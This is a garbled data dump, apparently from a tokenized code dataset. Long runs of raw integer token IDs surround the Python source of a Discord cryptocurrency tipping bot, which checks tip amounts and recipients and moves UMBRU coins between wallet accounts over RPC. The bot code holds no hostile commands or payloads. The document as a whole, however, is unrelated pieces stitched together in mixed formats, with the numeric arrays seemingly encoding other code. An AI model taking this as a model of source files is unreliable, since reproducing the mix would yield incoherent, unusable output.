29977,
29944,
13,
9651,
1583,
29889,
3225,
353,
1574,
29916,
29889,
6268,
580,
13,
13,
9651,
822,
2289,
29918,
19170,
7295,
13,
18884,
1018,
29901,
13,
462,
1678,
4315,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
2764,
29918,
3972,
29892,
376,
1649,
4330,
3580,
26914,
2732,
1159,
13,
462,
1678,
4315,
29918,
2084,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
10525,
29918,
2084,
29897,
13,
462,
1678,
10153,
353,
5124,
13,
462,
1678,
396,
30032,
29919,
684,
3098,
531,
12102,
29921,
10093,
29932,
13,
462,
1678,
565,
1583,
29889,
305,
7749,
29918,
3670,
29889,
657,
580,
1275,
5868,
1660,
29918,
9806,
29940,
29901,
13,
462,
4706,
521,
29896,
29916,
353,
938,
29898,
1311,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
657,
3101,
13,
462,
4706,
521,
29896,
29891,
353,
938,
29898,
1311,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
657,
3101,
13,
462,
4706,
521,
29906,
29916,
353,
938,
29898,
1311,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
657,
3101,
13,
462,
4706,
521,
29906,
29891,
353,
938,
29898,
1311,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
657,
3101,
13,
462,
4706,
10446,
29918,
3493,
353,
8853,
3332,
1115,
305,
29896,
29916,
29892,
376,
1563,
1115,
305,
29896,
29891,
29892,
29871,
13,
462,
9651,
376,
2103,
1115,
521,
29906,
29916,
29899,
305,
29896,
29916,
29892,
376,
3545,
1115,
305,
29906,
29891,
29899,
305,
29896,
29891,
29913,
13,
462,
4706,
411,
286,
893,
29889,
29885,
893,
580,
408,
1596,
29918,
10525,
29901,
13,
462,
9651,
10153,
353,
1596,
29918,
10525,
29889,
3874,
29890,
29898,
17885,
545,
29918,
3493,
29897,
13,
462,
4706,
286,
893,
29889,
8504,
29889,
517,
29918,
2732,
29898,
2492,
29889,
23973,
29892,
10153,
29889,
2311,
29892,
1962,
29922,
10525,
29918,
2084,
29897,
13,
462,
1678,
25342,
1583,
29889,
305,
7749,
29918,
3670,
29889,
657,
580,
1275,
5868,
1660,
29918,
9998,
29901,
13,
462,
4706,
411,
286,
893,
29889,
29885,
893,
580,
408,
1596,
29918,
10525,
29901,
13,
462,
9651,
10153,
353,
1596,
29918,
10525,
29889,
8962,
29898,
4905,
29922,
10525,
29918,
2084,
29897,
13,
462,
268,
13,
462,
1678,
396,
30027,
29910,
1782,
676,
531,
1574,
29916,
606,
1574,
6725,
29977,
684,
989,
13,
462,
1678,
4004,
353,
1583,
29889,
3225,
29889,
27117,
29961,
29900,
29962,
13,
462,
1678,
4004,
29889,
1563,
29918,
9264,
353,
1574,
29916,
29889,
12366,
29889,
29907,
29885,
29898,
29896,
29897,
13,
462,
1678,
4004,
29889,
1266,
29918,
9264,
353,
1574,
29916,
29889,
12366,
29889,
29907,
29885,
29898,
29896,
29897,
13,
462,
1678,
4004,
29889,
3332,
29918,
9264,
353,
1574,
29916,
29889,
12366,
29889,
29907,
29885,
29898,
29896,
29897,
13,
462,
1678,
4004,
29889,
8968,
29918,
9264,
353,
1574,
29916,
29889,
12366,
29889,
29907,
29885,
29898,
29896,
29897,
13,
462,
1678,
1583,
29889,
3225,
29889,
1202,
29918,
12095,
29898,
10525,
29918,
2084,
29892,
2920,
29922,
2042,
29889,
3488,
29918,
2103,
29899,
2042,
29889,
1563,
29918,
9264,
29899,
13,
462,
4706,
4004,
29889,
1266,
29918,
9264,
29897,
13,
462,
268,
13,
462,
1678,
1583,
29889,
3225,
29889,
7620,
29898,
1445,
29918,
2084,
29897,
13,
462,
1678,
2897,
29889,
5992,
29898,
10525,
29918,
2084,
29897,
13,
18884,
5174,
8960,
408,
4589,
29901,
13,
462,
1678,
4589,
29918,
9990,
29889,
649,
3552,
3127,
17255,
1990,
1649,
29892,
9637,
1627,
29889,
4830,
29918,
735,
29883,
22130,
13,
462,
1678,
1583,
29889,
4632,
29889,
3696,
29918,
17158,
703,
9314,
2951,
1059,
6778,
1159,
13,
13,
9651,
12247,
29889,
1202,
29918,
8711,
1989,
29898,
1311,
29889,
1989,
29918,
978,
29889,
657,
3285,
2289,
29918,
19170,
29897,
13,
4706,
5174,
8960,
408,
4589,
29901,
13,
9651,
4589,
29918,
9990,
29889,
649,
3552,
3127,
17255,
1990,
1649,
29892,
9637,
1627,
29889,
4830,
29918,
735,
29883,
22130,
13,
9651,
1583,
29889,
4632,
29889,
3696,
29918,
17158,
703,
9314,
2951,
1059,
6778,
1159,
13,
13,
1678,
396,
30061,
13937,
5274,
3807,
13482,
12395,
606,
2771,
8776,
12395,
29871,
13,
1678,
396,
29942,
1502,
29988,
2352,
25469,
4820,
25827,
30011,
3215,
2019,
29892,
1186,
23042,
1186,
570,
29964,
717,
376,
30008,
676,
8113,
29908,
13,
1678,
822,
1735,
29918,
3859,
29898,
1311,
29892,
380,
1125,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
13,
4706,
1583,
29889,
776,
29918,
29878,
3092,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
8159,
29918,
10525,
29918,
3092,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
13,
4706,
1583,
29889,
1989,
29918,
978,
29918,
8269,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
1989,
29918,
3092,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29918,
8269,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
4706,
1583,
29889,
7620,
29918,
3092,
29889,
2917,
29898,
3859,
29922,
303,
29897,
13,
13,
1678,
822,
1369,
29918,
22899,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
1287,
29918,
3859,
1275,
399,
1955,
29968,
29918,
3210,
24071,
4214,
29901,
13,
9651,
1583,
29889,
1287,
29918,
3859,
353,
399,
1955,
29968,
29918,
11686,
29968,
4214,
13,
9651,
1583,
29889,
2962,
29918,
3092,
29889,
2917,
29898,
726,
543,
30008,
702,
29964,
1159,
13,
13,
9651,
396,
14809,
8776,
1282,
3098,
22511,
30043,
13,
9651,
1583,
29889,
3167,
29918,
3859,
703,
18279,
1159,
13,
13,
9651,
396,
30008,
29904,
8728,
1755,
733,
702,
642,
13,
9651,
1583,
29889,
19170,
29918,
7097,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
1311,
29889,
5014,
29892,
6389,
7607,
1311,
29889,
3127,
29918,
9990,
29892,
876,
13,
9651,
1583,
29889,
19170,
29918,
7097,
29889,
2962,
580,
13,
4706,
25342,
1583,
29889,
1287,
29918,
3859,
1275,
399,
1955,
29968,
29918,
11686,
29968,
4214,
29901,
13,
9651,
1583,
29889,
1287,
29918,
3859,
353,
399,
1955,
29968,
29918,
3210,
24071,
4214,
13,
9651,
1583,
29889,
3167,
29918,
3859,
703,
17590,
1159,
13,
9651,
565,
1583,
29889,
305,
7749,
29918,
3670,
29889,
657,
580,
1360,
3210,
1660,
29918,
9998,
29901,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
2962,
29918,
3092,
29889,
2917,
29898,
726,
543,
30008,
676,
8113,
29991,
1159,
13,
13,
1678,
822,
4078,
29918,
1445,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29889,
842,
29898,
13,
9651,
15886,
29889,
1278,
7620,
294,
9507,
29898,
1445,
8768,
11759,
703,
14463,
29899,
1802,
1382,
12275,
3070,
29889,
1514,
29916,
19123,
376,
10521,
1514,
29916,
4968,
29871,
13,
18884,
4852,
14463,
29899,
1802,
1382,
12275,
863,
1229,
14577,
16771,
9116,
1155,
676,
3070,
29889,
1514,
19123,
376,
10521,
1514,
1159,
2314,
13,
4706,
1723,
13,
268,
13,
1678,
822,
1369,
29898,
1311,
1125,
13,
4706,
1583,
29889,
4632,
29889,
3396,
7888,
580,
13,
2
] |
tip.py | umbru/discord-tipbot | 0 | 142565 | from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException
from decimal import Decimal
import discord
from discord.ext import commands
import user_db
import config
rpc_connection = 'http://{0}:{1}@{2}:{3}'.format(config.rpc_user, config.rpc_password, config.ip, config.rpc_port)
def str_isfloat(str):
try:
float(str)
return True
except ValueError:
return False
class Tip(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command()
async def tip(self, ctx, mention=None, amount=None):
client = AuthServiceProxy(rpc_connection)
user_id = str(ctx.author.id)
user_name = ctx.author.name
if not user_db.check_user(user_id):
user_db.add_user(user_id, user_name)
embed = discord.Embed(
title="**How may I be of service?**",
color=0x7152b6)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="To see all my available commands type `!help`",
value="If you have any issues please let one of the team know.")
embed.set_thumbnail(url=self.bot.user.avatar_url_as(format='png', size=1024))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
else:
pass
if mention is None or amount is None:
embed = discord.Embed(color=0xffd800)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="No user or amount specified. Please check **!help** for information.",
value=" :warning: :warning: :warning: ")
embed.set_footer(
text="TipBot v{0}]".format(config.VERSION),
icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
elif not str_isfloat(amount):
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Invalid tip amount. Please check **!help** for information.",
value="`{0}`".format(amount))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
else:
pass
tipfrom = str(ctx.author.id)
tipto = str(mention.replace('<@','').replace('>',''))
amount = Decimal(str(float(amount)))
if amount < Decimal('0.01'):
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Tip amount must be atleast 0.01 UMBRU",
value="`{0}`".format(amount))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
else:
if len(tipto) != 18 and len(tipto) != 17:
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Invalid User. Please check **!help** for information.",
value="`{0}`".format(str(mention)))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
elif tipfrom == tipto:
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Sorry you cannot tip yourself!",
value=" :wink: ")
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
elif amount > client.getbalance(tipfrom, config.CONFIRM):
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Sorry you do not have enough UMBRU for that.",
value="Your balance is: **{0} UMBRU**".format(client.getbalance(tipfrom, config.CONFIRM)))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
else:
if tipto == str(self.bot.user.id):
try:
move_istrue = client.move(tipfrom, 'tipbot_wallet', float(amount))
except:
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Invalid tip amount. Please check **!help** for information.",
value="`{0}`".format(amount))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
if move_istrue:
embed = discord.Embed(color=0x7152b6)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Thank you for the donation!",
value="**{0} UMBRU**".format(amount))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
else:
try:
move_istrue = client.move(tipfrom, tipto, float(amount))
except:
embed = discord.Embed(color=0xff0000)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="Invalid tip amount. Please check **!help** for information.",
value="`{0}`".format(amount))
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
if move_istrue:
embed = discord.Embed(color=0x7152b6)
embed.set_author(
name=ctx.author.display_name,
icon_url=ctx.author.avatar_url_as(format='png', size=256))
embed.add_field(
name="{0} has tipped {1} `{2} UMBRU`".format(ctx.author.display_name,
self.bot.get_user(int(tipto)).display_name,
amount),
value="Spend it wisely!")
embed.set_footer(text="TipBot v{0}".format(config.VERSION), icon_url=self.bot.user.avatar_url_as(format='png', size=256))
await ctx.channel.send(embed=embed)
def setup(bot):
bot.add_cog(Tip(bot)) | [
1,
515,
2586,
1111,
262,
29878,
6739,
29889,
5150,
14701,
1053,
13189,
3170,
14048,
29892,
4663,
29934,
9026,
2451,
13,
3166,
13677,
1053,
3826,
3039,
13,
5215,
2313,
536,
13,
3166,
2313,
536,
29889,
1062,
1053,
8260,
13,
13,
5215,
1404,
29918,
2585,
13,
5215,
2295,
13,
13,
29878,
6739,
29918,
9965,
353,
525,
1124,
597,
29912,
29900,
6177,
29912,
29896,
29913,
28312,
29906,
6177,
29912,
29941,
29913,
4286,
4830,
29898,
2917,
29889,
29878,
6739,
29918,
1792,
29892,
2295,
29889,
29878,
6739,
29918,
5630,
29892,
2295,
29889,
666,
29892,
2295,
29889,
29878,
6739,
29918,
637,
29897,
13,
13,
1753,
851,
29918,
4492,
3071,
29898,
710,
1125,
13,
1678,
1018,
29901,
13,
4706,
5785,
29898,
710,
29897,
13,
4706,
736,
5852,
13,
1678,
5174,
7865,
2392,
29901,
13,
4706,
736,
7700,
13,
13,
1990,
323,
666,
29898,
26381,
29889,
29907,
468,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9225,
1125,
13,
4706,
1583,
29889,
7451,
353,
9225,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
7465,
822,
6872,
29898,
1311,
29892,
12893,
29892,
3585,
29922,
8516,
29892,
5253,
29922,
8516,
1125,
13,
4706,
3132,
353,
13189,
3170,
14048,
29898,
29878,
6739,
29918,
9965,
29897,
13,
4706,
1404,
29918,
333,
353,
851,
29898,
13073,
29889,
8921,
29889,
333,
29897,
13,
4706,
1404,
29918,
978,
353,
12893,
29889,
8921,
29889,
978,
13,
13,
4706,
565,
451,
1404,
29918,
2585,
29889,
3198,
29918,
1792,
29898,
1792,
29918,
333,
1125,
13,
9651,
1404,
29918,
2585,
29889,
1202,
29918,
1792,
29898,
1792,
29918,
333,
29892,
1404,
29918,
978,
29897,
13,
9651,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
18884,
3611,
543,
1068,
5328,
1122,
306,
367,
310,
2669,
29973,
1068,
613,
13,
18884,
2927,
29922,
29900,
29916,
29955,
29896,
29945,
29906,
29890,
29953,
29897,
13,
9651,
8297,
29889,
842,
29918,
8921,
29898,
13,
18884,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
18884,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
9651,
8297,
29889,
1202,
29918,
2671,
29898,
13,
18884,
1024,
543,
1762,
1074,
599,
590,
3625,
8260,
1134,
421,
29991,
8477,
29952,
613,
13,
18884,
995,
543,
3644,
366,
505,
738,
5626,
3113,
1235,
697,
310,
278,
3815,
1073,
23157,
13,
9651,
8297,
29889,
842,
29918,
386,
21145,
29898,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29896,
29900,
29906,
29946,
876,
13,
9651,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
9651,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
4706,
1683,
29901,
13,
9651,
1209,
13,
13,
9651,
565,
3585,
338,
6213,
470,
5253,
338,
6213,
29901,
13,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29881,
29947,
29900,
29900,
29897,
13,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
1678,
1024,
543,
3782,
1404,
470,
5253,
6790,
29889,
3529,
1423,
3579,
29991,
8477,
1068,
363,
2472,
19602,
13,
462,
1678,
995,
543,
584,
27392,
29901,
584,
27392,
29901,
584,
27392,
29901,
29871,
16521,
13,
18884,
8297,
29889,
842,
29918,
21720,
29898,
13,
462,
1678,
1426,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
6525,
1642,
4830,
29898,
2917,
29889,
16358,
511,
13,
462,
1678,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
25342,
451,
851,
29918,
4492,
3071,
29898,
14506,
1125,
13,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
1678,
1024,
543,
13919,
6872,
5253,
29889,
3529,
1423,
3579,
29991,
8477,
1068,
363,
2472,
19602,
13,
462,
1678,
995,
543,
29952,
29912,
29900,
10114,
1642,
4830,
29898,
14506,
876,
13,
18884,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
1683,
29901,
13,
18884,
1209,
13,
13,
18884,
6872,
3166,
353,
851,
29898,
13073,
29889,
8921,
29889,
333,
29897,
13,
18884,
19538,
24070,
353,
851,
29898,
358,
291,
29889,
6506,
877,
29966,
29992,
3788,
2824,
6506,
877,
29958,
3788,
8785,
13,
18884,
5253,
353,
3826,
3039,
29898,
710,
29898,
7411,
29898,
14506,
4961,
13,
13,
18884,
565,
5253,
529,
3826,
3039,
877,
29900,
29889,
29900,
29896,
29374,
13,
462,
1678,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
1678,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
4706,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
4706,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
1678,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
4706,
1024,
543,
29911,
666,
5253,
1818,
367,
472,
280,
579,
29871,
29900,
29889,
29900,
29896,
501,
9486,
28283,
613,
13,
462,
4706,
995,
543,
29952,
29912,
29900,
10114,
1642,
4830,
29898,
14506,
876,
13,
462,
1678,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
1678,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
565,
7431,
29898,
2034,
24070,
29897,
2804,
29871,
29896,
29947,
322,
7431,
29898,
2034,
24070,
29897,
2804,
29871,
29896,
29955,
29901,
13,
462,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
4706,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
9651,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
9651,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
9651,
1024,
543,
13919,
4911,
29889,
3529,
1423,
3579,
29991,
8477,
1068,
363,
2472,
19602,
13,
462,
9651,
995,
543,
29952,
29912,
29900,
10114,
1642,
4830,
29898,
710,
29898,
358,
291,
4961,
13,
462,
4706,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
4706,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
1678,
25342,
6872,
3166,
1275,
19538,
24070,
29901,
13,
462,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
4706,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
9651,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
9651,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
9651,
1024,
543,
29903,
3818,
366,
2609,
6872,
7535,
29991,
613,
13,
462,
9651,
995,
543,
584,
29893,
682,
29901,
16521,
13,
462,
4706,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
4706,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
1678,
25342,
5253,
1405,
3132,
29889,
657,
5521,
749,
29898,
12632,
3166,
29892,
2295,
29889,
6007,
3738,
29934,
29924,
1125,
13,
462,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
4706,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
9651,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
9651,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
9651,
1024,
543,
29903,
3818,
366,
437,
451,
505,
3307,
501,
9486,
28283,
363,
393,
19602,
13,
462,
9651,
995,
543,
10858,
17346,
338,
29901,
3579,
29912,
29900,
29913,
501,
9486,
28283,
1068,
1642,
4830,
29898,
4645,
29889,
657,
5521,
749,
29898,
12632,
3166,
29892,
2295,
29889,
6007,
3738,
29934,
29924,
4961,
13,
462,
4706,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
4706,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
565,
19538,
24070,
1275,
851,
29898,
1311,
29889,
7451,
29889,
1792,
29889,
333,
1125,
13,
462,
9651,
1018,
29901,
13,
462,
18884,
4337,
29918,
2132,
434,
353,
3132,
29889,
11631,
29898,
12632,
3166,
29892,
525,
12632,
7451,
29918,
14625,
1026,
742,
5785,
29898,
14506,
876,
13,
462,
9651,
5174,
29901,
13,
462,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
462,
1678,
1024,
543,
13919,
6872,
5253,
29889,
3529,
1423,
3579,
29991,
8477,
1068,
363,
2472,
19602,
13,
462,
462,
1678,
995,
543,
29952,
29912,
29900,
10114,
1642,
4830,
29898,
14506,
876,
13,
462,
18884,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
